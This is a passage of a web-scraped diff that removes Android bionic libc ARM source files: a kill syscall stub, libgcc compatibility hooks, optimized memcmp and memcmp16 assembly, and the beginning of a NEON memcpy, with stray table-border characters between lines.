||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
/* unlike our auto-generated syscall stubs, this code saves lr
|
||||
on the stack, as well as a few other registers. this makes
|
||||
our stack unwinder happy, when we generate debug stack
|
||||
traces after the C library or other parts of the system
|
||||
abort due to a fatal runtime error (e.g. detection
|
||||
of a corrupted malloc heap).
|
||||
*/
|
||||
#include <sys/linux-syscalls.h>
|
||||
|
||||
#ifndef __NR_kill
|
||||
#define __NR_kill 37
|
||||
#endif
|
||||
|
||||
.text
|
||||
.type kill, #function
|
||||
.globl kill
|
||||
.align 4
|
||||
|
||||
kill:
|
||||
stmfd sp!, {r4-r7, ip, lr}
|
||||
ldr r7, =__NR_kill
|
||||
swi #0
|
||||
ldmfd sp!, {r4-r7, ip, lr}
|
||||
movs r0, r0
|
||||
bxpl lr
|
||||
b __set_syscall_errno
|
|
@ -1,152 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/* This file contains dummy references to libgcc.a functions to force the
|
||||
* dynamic linker to copy their definition into the final libc.so binary.
|
||||
*
|
||||
* They are required to ensure backwards binary compatibility with
|
||||
* Android 1.5 and Android 1.6 system images. Some applications built
|
||||
* using the NDK require them to be here.
|
||||
*
|
||||
* Now, for a more elaborate description of the issue:
|
||||
*
|
||||
* libgcc.a is a compiler-specific library containing various helper
|
||||
* functions used to implement certain operations that are not necessarily
|
||||
* supported by the target CPU. For example, integer division doesn't have a
|
||||
* corresponding CPU instruction on ARMv5, and is instead implemented in the
|
||||
* compiler-generated machine code as a call to an __idiv helper function.
|
||||
*
|
||||
* Normally, one has to place libgcc.a in the link command used to generate
|
||||
* target binaries (shared libraries and executables) after all objects and
|
||||
* static libraries, but before dependent shared libraries, i.e. something
|
||||
* like:
|
||||
* gcc <options> -o libfoo.so foo.a libgcc.a -lc -lm
|
||||
*
|
||||
* This ensures that any helper function needed by the code in foo.a is copied
|
||||
* into the final libfoo.so. Unfortunately, the Android build system has been
|
||||
* using this instead:
|
||||
*
|
||||
* gcc <options> -o libfoo.so foo.a -lc -lm libgcc.a
|
||||
*
|
||||
* The problem with this is that if one helper function needed by foo.a has
|
||||
* already been copied into libc.so or libm.so, then nothing will be copied
|
||||
* into libfoo.so. Instead, a symbol import definition will be added to it
|
||||
* so libfoo.so can directly call the one in libc.so at runtime.
|
||||
*
|
||||
* When changing toolchains for 2.0, the set of helper functions copied to
|
||||
* libc.so changed, which resulted in some native shared libraries generated
|
||||
* with the NDK to fail to load properly.
|
||||
*
|
||||
* The NDK has been fixed after 1.6_r1 to use the correct link command, so
|
||||
* any native shared library generated with it should now be safe from that
|
||||
* problem. On the other hand, existing shared libraries distributed with
|
||||
* applications that were generated with a previous version of the NDK
|
||||
* still need all 1.5/1.6 helper functions in libc.so and libn.so
|
||||
*
|
||||
* Final note: some of the functions below should really be in libm.so to
|
||||
* completely reflect the state of 1.5/1.6 system images. However,
|
||||
* since libm.so depends on libc.so, it's easier to put all of
|
||||
* these in libc.so instead, since the dynamic linker will always
|
||||
* search in libc.so before libm.so for dependencies.
|
||||
*/
|
||||
|
||||
#define COMPAT_FUNCTIONS_LIST \
|
||||
XX(__adddf3) \
|
||||
XX(__addsf3) \
|
||||
XX(__aeabi_cdcmpeq) \
|
||||
XX(__aeabi_cdcmple) \
|
||||
XX(__aeabi_cdrcmple) \
|
||||
XX(__aeabi_d2f) \
|
||||
XX(__aeabi_d2iz) \
|
||||
XX(__aeabi_dadd) \
|
||||
XX(__aeabi_dcmpeq) \
|
||||
XX(__aeabi_dcmpge) \
|
||||
XX(__aeabi_dcmpgt) \
|
||||
XX(__aeabi_dcmple) \
|
||||
XX(__aeabi_dcmplt) \
|
||||
XX(__aeabi_dcmpun) \
|
||||
XX(__aeabi_ddiv) \
|
||||
XX(__aeabi_dmul) \
|
||||
XX(__aeabi_drsub) \
|
||||
XX(__aeabi_dsub) \
|
||||
XX(__aeabi_f2d) \
|
||||
XX(__aeabi_f2iz) \
|
||||
XX(__aeabi_fadd) \
|
||||
XX(__aeabi_fcmpun) \
|
||||
XX(__aeabi_fdiv) \
|
||||
XX(__aeabi_fmul) \
|
||||
XX(__aeabi_frsub) \
|
||||
XX(__aeabi_fsub) \
|
||||
XX(__aeabi_i2d) \
|
||||
XX(__aeabi_i2f) \
|
||||
XX(__aeabi_l2d) \
|
||||
XX(__aeabi_l2f) \
|
||||
XX(__aeabi_lmul) \
|
||||
XX(__aeabi_ui2d) \
|
||||
XX(__aeabi_ui2f) \
|
||||
XX(__aeabi_ul2d) \
|
||||
XX(__aeabi_ul2f) \
|
||||
XX(__cmpdf2) \
|
||||
XX(__divdf3) \
|
||||
XX(__divsf3) \
|
||||
XX(__eqdf2) \
|
||||
XX(__extendsfdf2) \
|
||||
XX(__fixdfsi) \
|
||||
XX(__fixsfsi) \
|
||||
XX(__floatdidf) \
|
||||
XX(__floatdisf) \
|
||||
XX(__floatsidf) \
|
||||
XX(__floatsisf) \
|
||||
XX(__floatundidf) \
|
||||
XX(__floatundisf) \
|
||||
XX(__floatunsidf) \
|
||||
XX(__floatunsisf) \
|
||||
XX(__gedf2) \
|
||||
XX(__gtdf2) \
|
||||
XX(__ledf2) \
|
||||
XX(__ltdf2) \
|
||||
XX(__muldf3) \
|
||||
XX(__muldi3) \
|
||||
XX(__mulsf3) \
|
||||
XX(__nedf2) \
|
||||
XX(__subdf3) \
|
||||
XX(__subsf3) \
|
||||
XX(__truncdfsf2) \
|
||||
XX(__unorddf2) \
|
||||
XX(__unordsf2) \
|
||||
|
||||
#define XX(f) extern void f(void);
|
||||
COMPAT_FUNCTIONS_LIST
|
||||
#undef XX
|
||||
|
||||
void __bionic_libgcc_compat_hooks(void)
|
||||
{
|
||||
#define XX(f) f();
|
||||
COMPAT_FUNCTIONS_LIST
|
||||
#undef XX
|
||||
}
|
|
@ -1,288 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <machine/cpu-features.h>
|
||||
|
||||
.text
|
||||
|
||||
.global memcmp
|
||||
.type memcmp, %function
|
||||
.align 4
|
||||
|
||||
/*
|
||||
* Optimized memcmp() for ARM9.
|
||||
* This would not be optimal on XScale or ARM11, where more prefetching
|
||||
* and use of PLD will be needed.
|
||||
* The 2 major optimzations here are
|
||||
* (1) The main loop compares 16 bytes at a time
|
||||
* (2) The loads are scheduled in a way they won't stall
|
||||
*/
|
||||
|
||||
memcmp:
|
||||
.fnstart
|
||||
PLD (r0, #0)
|
||||
PLD (r1, #0)
|
||||
|
||||
/* take of the case where length is 0 or the buffers are the same */
|
||||
cmp r0, r1
|
||||
cmpne r2, #0
|
||||
moveq r0, #0
|
||||
bxeq lr
|
||||
|
||||
.save {r4, lr}
|
||||
/* save registers */
|
||||
stmfd sp!, {r4, lr}
|
||||
|
||||
PLD (r0, #32)
|
||||
PLD (r1, #32)
|
||||
|
||||
/* since r0 hold the result, move the first source
|
||||
* pointer somewhere else
|
||||
*/
|
||||
|
||||
mov r4, r0
|
||||
|
||||
/* make sure we have at least 8+4 bytes, this simplify things below
|
||||
* and avoid some overhead for small blocks
|
||||
*/
|
||||
cmp r2, #(8+4)
|
||||
bmi 8f
|
||||
|
||||
/* align first pointer to word boundary
|
||||
* offset = -src & 3
|
||||
*/
|
||||
rsb r3, r4, #0
|
||||
ands r3, r3, #3
|
||||
beq 0f
|
||||
|
||||
/* align first pointer */
|
||||
sub r2, r2, r3
|
||||
1: ldrb r0, [r4], #1
|
||||
ldrb ip, [r1], #1
|
||||
subs r0, r0, ip
|
||||
bne 9f
|
||||
subs r3, r3, #1
|
||||
bne 1b
|
||||
|
||||
|
||||
0: /* here the first pointer is aligned, and we have at least 4 bytes
|
||||
* to process.
|
||||
*/
|
||||
|
||||
/* see if the pointers are congruent */
|
||||
eor r0, r4, r1
|
||||
ands r0, r0, #3
|
||||
bne 5f
|
||||
|
||||
/* congruent case, 32 bytes per iteration
|
||||
* We need to make sure there are at least 32+4 bytes left
|
||||
* because we effectively read ahead one word, and we could
|
||||
* read past the buffer (and segfault) if we're not careful.
|
||||
*/
|
||||
|
||||
ldr ip, [r1]
|
||||
subs r2, r2, #(32 + 4)
|
||||
bmi 1f
|
||||
|
||||
0: PLD (r4, #64)
|
||||
PLD (r1, #64)
|
||||
ldr r0, [r4], #4
|
||||
ldr lr, [r1, #4]!
|
||||
eors r0, r0, ip
|
||||
ldreq r0, [r4], #4
|
||||
ldreq ip, [r1, #4]!
|
||||
eoreqs r0, r0, lr
|
||||
ldreq r0, [r4], #4
|
||||
ldreq lr, [r1, #4]!
|
||||
eoreqs r0, r0, ip
|
||||
ldreq r0, [r4], #4
|
||||
ldreq ip, [r1, #4]!
|
||||
eoreqs r0, r0, lr
|
||||
ldreq r0, [r4], #4
|
||||
ldreq lr, [r1, #4]!
|
||||
eoreqs r0, r0, ip
|
||||
ldreq r0, [r4], #4
|
||||
ldreq ip, [r1, #4]!
|
||||
eoreqs r0, r0, lr
|
||||
ldreq r0, [r4], #4
|
||||
ldreq lr, [r1, #4]!
|
||||
eoreqs r0, r0, ip
|
||||
ldreq r0, [r4], #4
|
||||
ldreq ip, [r1, #4]!
|
||||
eoreqs r0, r0, lr
|
||||
bne 2f
|
||||
subs r2, r2, #32
|
||||
bhs 0b
|
||||
|
||||
/* do we have at least 4 bytes left? */
|
||||
1: adds r2, r2, #(32 - 4 + 4)
|
||||
bmi 4f
|
||||
|
||||
/* finish off 4 bytes at a time */
|
||||
3: ldr r0, [r4], #4
|
||||
ldr ip, [r1], #4
|
||||
eors r0, r0, ip
|
||||
bne 2f
|
||||
subs r2, r2, #4
|
||||
bhs 3b
|
||||
|
||||
/* are we done? */
|
||||
4: adds r2, r2, #4
|
||||
moveq r0, #0
|
||||
beq 9f
|
||||
|
||||
/* finish off the remaining bytes */
|
||||
b 8f
|
||||
|
||||
2: /* the last 4 bytes are different, restart them */
|
||||
sub r4, r4, #4
|
||||
sub r1, r1, #4
|
||||
mov r2, #4
|
||||
|
||||
/* process the last few bytes */
|
||||
8: ldrb r0, [r4], #1
|
||||
ldrb ip, [r1], #1
|
||||
// stall
|
||||
subs r0, r0, ip
|
||||
bne 9f
|
||||
subs r2, r2, #1
|
||||
bne 8b
|
||||
|
||||
9: /* restore registers and return */
|
||||
ldmfd sp!, {r4, lr}
|
||||
bx lr
|
||||
.fnend
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
5: /*************** non-congruent case ***************/
|
||||
and r0, r1, #3
|
||||
cmp r0, #2
|
||||
bne 4f
|
||||
|
||||
/* here, offset is 2 (16-bits aligned, special cased) */
|
||||
|
||||
/* make sure we have at least 16 bytes to process */
|
||||
subs r2, r2, #16
|
||||
addmi r2, r2, #16
|
||||
bmi 8b
|
||||
|
||||
/* align the unaligned pointer */
|
||||
bic r1, r1, #3
|
||||
ldr lr, [r1], #4
|
||||
|
||||
6: PLD (r1, #64)
|
||||
PLD (r4, #64)
|
||||
mov ip, lr, lsr #16
|
||||
ldr lr, [r1], #4
|
||||
ldr r0, [r4], #4
|
||||
orr ip, ip, lr, lsl #16
|
||||
eors r0, r0, ip
|
||||
moveq ip, lr, lsr #16
|
||||
ldreq lr, [r1], #4
|
||||
ldreq r0, [r4], #4
|
||||
orreq ip, ip, lr, lsl #16
|
||||
eoreqs r0, r0, ip
|
||||
moveq ip, lr, lsr #16
|
||||
ldreq lr, [r1], #4
|
||||
ldreq r0, [r4], #4
|
||||
orreq ip, ip, lr, lsl #16
|
||||
eoreqs r0, r0, ip
|
||||
moveq ip, lr, lsr #16
|
||||
ldreq lr, [r1], #4
|
||||
ldreq r0, [r4], #4
|
||||
orreq ip, ip, lr, lsl #16
|
||||
eoreqs r0, r0, ip
|
||||
bne 7f
|
||||
subs r2, r2, #16
|
||||
bhs 6b
|
||||
sub r1, r1, #2
|
||||
/* are we done? */
|
||||
adds r2, r2, #16
|
||||
moveq r0, #0
|
||||
beq 9b
|
||||
/* finish off the remaining bytes */
|
||||
b 8b
|
||||
|
||||
7: /* fix up the 2 pointers and fallthrough... */
|
||||
sub r1, r1, #(4+2)
|
||||
sub r4, r4, #4
|
||||
mov r2, #4
|
||||
b 8b
|
||||
|
||||
|
||||
4: /*************** offset is 1 or 3 (less optimized) ***************/
|
||||
|
||||
stmfd sp!, {r5, r6, r7}
|
||||
|
||||
// r5 = rhs
|
||||
// r6 = lhs
|
||||
// r7 = scratch
|
||||
|
||||
mov r5, r0, lsl #3 /* r5 = right shift */
|
||||
rsb r6, r5, #32 /* r6 = left shift */
|
||||
|
||||
/* align the unaligned pointer */
|
||||
bic r1, r1, #3
|
||||
ldr r7, [r1], #4
|
||||
sub r2, r2, #8
|
||||
|
||||
6: mov ip, r7, lsr r5
|
||||
ldr r7, [r1], #4
|
||||
ldr r0, [r4], #4
|
||||
orr ip, ip, r7, lsl r6
|
||||
eors r0, r0, ip
|
||||
moveq ip, r7, lsr r5
|
||||
ldreq r7, [r1], #4
|
||||
ldreq r0, [r4], #4
|
||||
orreq ip, ip, r7, lsl r6
|
||||
eoreqs r0, r0, ip
|
||||
bne 7f
|
||||
subs r2, r2, #8
|
||||
bhs 6b
|
||||
|
||||
sub r1, r1, r6, lsr #3
|
||||
ldmfd sp!, {r5, r6, r7}
|
||||
|
||||
/* are we done? */
|
||||
adds r2, r2, #8
|
||||
moveq r0, #0
|
||||
beq 9b
|
||||
|
||||
/* finish off the remaining bytes */
|
||||
b 8b
|
||||
|
||||
7: /* fix up the 2 pointers and fallthrough... */
|
||||
sub r1, r1, #4
|
||||
sub r1, r1, r6, lsr #3
|
||||
sub r4, r4, #4
|
||||
mov r2, #4
|
||||
ldmfd sp!, {r5, r6, r7}
|
||||
b 8b
|
|
@ -1,239 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <machine/cpu-features.h>
|
||||
|
||||
.text
|
||||
|
||||
.global __memcmp16
|
||||
.type __memcmp16, %function
|
||||
.align 4
|
||||
|
||||
/*
|
||||
* Optimized memcmp16() for ARM9.
|
||||
* This would not be optimal on XScale or ARM11, where more prefetching
|
||||
* and use of PLD will be needed.
|
||||
* The 2 major optimzations here are
|
||||
* (1) The main loop compares 16 bytes at a time
|
||||
* (2) The loads are scheduled in a way they won't stall
|
||||
*/
|
||||
|
||||
__memcmp16:
|
||||
.fnstart
|
||||
PLD (r0, #0)
|
||||
PLD (r1, #0)
|
||||
|
||||
/* take of the case where length is nul or the buffers are the same */
|
||||
cmp r0, r1
|
||||
cmpne r2, #0
|
||||
moveq r0, #0
|
||||
bxeq lr
|
||||
|
||||
/* since r0 hold the result, move the first source
|
||||
* pointer somewhere else
|
||||
*/
|
||||
|
||||
mov r3, r0
|
||||
|
||||
/* make sure we have at least 12 words, this simplify things below
|
||||
* and avoid some overhead for small blocks
|
||||
*/
|
||||
|
||||
cmp r2, #12
|
||||
bpl 0f
|
||||
|
||||
/* small blocks (less then 12 words) */
|
||||
PLD (r0, #32)
|
||||
PLD (r1, #32)
|
||||
|
||||
1: ldrh r0, [r3], #2
|
||||
ldrh ip, [r1], #2
|
||||
subs r0, r0, ip
|
||||
bxne lr
|
||||
subs r2, r2, #1
|
||||
bne 1b
|
||||
bx lr
|
||||
|
||||
|
||||
.save {r4, lr}
|
||||
/* save registers */
|
||||
0: stmfd sp!, {r4, lr}
|
||||
|
||||
/* align first pointer to word boundary */
|
||||
tst r3, #2
|
||||
beq 0f
|
||||
|
||||
ldrh r0, [r3], #2
|
||||
ldrh ip, [r1], #2
|
||||
sub r2, r2, #1
|
||||
subs r0, r0, ip
|
||||
/* restore registers and return */
|
||||
ldmnefd sp!, {r4, lr}
|
||||
bxne lr
|
||||
.fnend
|
||||
|
||||
|
||||
|
||||
0: /* here the first pointer is aligned, and we have at least 3 words
|
||||
* to process.
|
||||
*/
|
||||
|
||||
/* see if the pointers are congruent */
|
||||
eor r0, r3, r1
|
||||
ands r0, r0, #2
|
||||
bne 5f
|
||||
|
||||
/* congruent case, 16 half-words per iteration
|
||||
* We need to make sure there are at least 16+2 words left
|
||||
* because we effectively read ahead one long word, and we could
|
||||
* read past the buffer (and segfault) if we're not careful.
|
||||
*/
|
||||
|
||||
ldr ip, [r1]
|
||||
subs r2, r2, #(16 + 2)
|
||||
bmi 1f
|
||||
|
||||
0:
|
||||
PLD (r3, #64)
|
||||
PLD (r1, #64)
|
||||
ldr r0, [r3], #4
|
||||
ldr lr, [r1, #4]!
|
||||
eors r0, r0, ip
|
||||
ldreq r0, [r3], #4
|
||||
ldreq ip, [r1, #4]!
|
||||
eoreqs r0, r0, lr
|
||||
ldreq r0, [r3], #4
|
||||
ldreq lr, [r1, #4]!
|
||||
eoreqs r0, r0, ip
|
||||
ldreq r0, [r3], #4
|
||||
ldreq ip, [r1, #4]!
|
||||
eoreqs r0, r0, lr
|
||||
ldreq r0, [r3], #4
|
||||
ldreq lr, [r1, #4]!
|
||||
eoreqs r0, r0, ip
|
||||
ldreq r0, [r3], #4
|
||||
ldreq ip, [r1, #4]!
|
||||
eoreqs r0, r0, lr
|
||||
ldreq r0, [r3], #4
|
||||
ldreq lr, [r1, #4]!
|
||||
eoreqs r0, r0, ip
|
||||
ldreq r0, [r3], #4
|
||||
ldreq ip, [r1, #4]!
|
||||
eoreqs r0, r0, lr
|
||||
bne 2f
|
||||
subs r2, r2, #16
|
||||
bhs 0b
|
||||
|
||||
/* do we have at least 2 words left? */
|
||||
1: adds r2, r2, #(16 - 2 + 2)
|
||||
bmi 4f
|
||||
|
||||
/* finish off 2 words at a time */
|
||||
3: ldr r0, [r3], #4
|
||||
ldr ip, [r1], #4
|
||||
eors r0, r0, ip
|
||||
bne 2f
|
||||
subs r2, r2, #2
|
||||
bhs 3b
|
||||
|
||||
/* are we done? */
|
||||
4: adds r2, r2, #2
|
||||
bne 8f
|
||||
/* restore registers and return */
|
||||
mov r0, #0
|
||||
ldmfd sp!, {r4, lr}
|
||||
bx lr
|
||||
|
||||
2: /* the last 2 words are different, restart them */
|
||||
ldrh r0, [r3, #-4]
|
||||
ldrh ip, [r1, #-4]
|
||||
subs r0, r0, ip
|
||||
ldreqh r0, [r3, #-2]
|
||||
ldreqh ip, [r1, #-2]
|
||||
subeqs r0, r0, ip
|
||||
/* restore registers and return */
|
||||
ldmfd sp!, {r4, lr}
|
||||
bx lr
|
||||
|
||||
/* process the last few words */
|
||||
8: ldrh r0, [r3], #2
|
||||
ldrh ip, [r1], #2
|
||||
subs r0, r0, ip
|
||||
bne 9f
|
||||
subs r2, r2, #1
|
||||
bne 8b
|
||||
|
||||
9: /* restore registers and return */
|
||||
ldmfd sp!, {r4, lr}
|
||||
bx lr
|
||||
|
||||
|
||||
5: /*************** non-congruent case ***************/
|
||||
|
||||
/* align the unaligned pointer */
|
||||
bic r1, r1, #3
|
||||
ldr lr, [r1], #4
|
||||
sub r2, r2, #8
|
||||
|
||||
6:
|
||||
PLD (r3, #64)
|
||||
PLD (r1, #64)
|
||||
mov ip, lr, lsr #16
|
||||
ldr lr, [r1], #4
|
||||
ldr r0, [r3], #4
|
||||
orr ip, ip, lr, lsl #16
|
||||
eors r0, r0, ip
|
||||
moveq ip, lr, lsr #16
|
||||
ldreq lr, [r1], #4
|
||||
ldreq r0, [r3], #4
|
||||
orreq ip, ip, lr, lsl #16
|
||||
eoreqs r0, r0, ip
|
||||
moveq ip, lr, lsr #16
|
||||
ldreq lr, [r1], #4
|
||||
ldreq r0, [r3], #4
|
||||
orreq ip, ip, lr, lsl #16
|
||||
eoreqs r0, r0, ip
|
||||
moveq ip, lr, lsr #16
|
||||
ldreq lr, [r1], #4
|
||||
ldreq r0, [r3], #4
|
||||
orreq ip, ip, lr, lsl #16
|
||||
eoreqs r0, r0, ip
|
||||
bne 7f
|
||||
subs r2, r2, #8
|
||||
bhs 6b
|
||||
sub r1, r1, #2
|
||||
/* are we done? */
|
||||
adds r2, r2, #8
|
||||
moveq r0, #0
|
||||
beq 9b
|
||||
/* finish off the remaining bytes */
|
||||
b 8b
|
||||
|
||||
7: /* fix up the 2 pointers and fallthrough... */
|
||||
sub r1, r1, #2
|
||||
b 2b
|
|
@ -1,510 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2008 The Android Open Source Project
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <machine/cpu-features.h>
|
||||
|
||||
#if defined(__ARM_NEON__)
|
||||
|
||||
.text
|
||||
.fpu neon
|
||||
|
||||
.global memcpy
|
||||
.type memcpy, %function
|
||||
.align 4
|
||||
|
||||
/* a prefetch distance of 4 cache-lines works best experimentally */
|
||||
#define CACHE_LINE_SIZE 64
|
||||
#define PREFETCH_DISTANCE (CACHE_LINE_SIZE*4)
|
||||
|
||||
memcpy:
|
||||
.fnstart
|
||||
.save {r0, lr}
|
||||
stmfd sp!, {r0, lr}
|
||||
|
||||
/* start preloading as early as possible */
|
||||
pld [r1, #(CACHE_LINE_SIZE*0)]
|
||||
pld [r1, #(CACHE_LINE_SIZE*1)]
|
||||
|
||||
/* do we have at least 16-bytes to copy (needed for alignment below) */
|
||||
cmp r2, #16
|
||||
blo 5f
|
||||
|
||||
/* align destination to half cache-line for the write-buffer */
|
||||
rsb r3, r0, #0
|
||||
ands r3, r3, #0xF
|
||||
beq 0f
|
||||
|
||||
/* copy up to 15-bytes (count in r3) */
|
||||
sub r2, r2, r3
|
||||
movs ip, r3, lsl #31
|
||||
ldrmib lr, [r1], #1
|
||||
strmib lr, [r0], #1
|
||||
ldrcsb ip, [r1], #1
|
||||
ldrcsb lr, [r1], #1
|
||||
strcsb ip, [r0], #1
|
||||
strcsb lr, [r0], #1
|
||||
movs ip, r3, lsl #29
|
||||
bge 1f
|
||||
// copies 4 bytes, destination 32-bits aligned
|
||||
vld4.8 {d0[0], d1[0], d2[0], d3[0]}, [r1]!
|
||||
vst4.8 {d0[0], d1[0], d2[0], d3[0]}, [r0, :32]!
|
||||
1: bcc 2f
|
||||
// copies 8 bytes, destination 64-bits aligned
|
||||
vld1.8 {d0}, [r1]!
|
||||
vst1.8 {d0}, [r0, :64]!
|
||||
2:
|
||||
|
||||
0: /* preload immediately the next cache line, which we may need */
|
||||
pld [r1, #(CACHE_LINE_SIZE*0)]
|
||||
pld [r1, #(CACHE_LINE_SIZE*1)]
|
||||
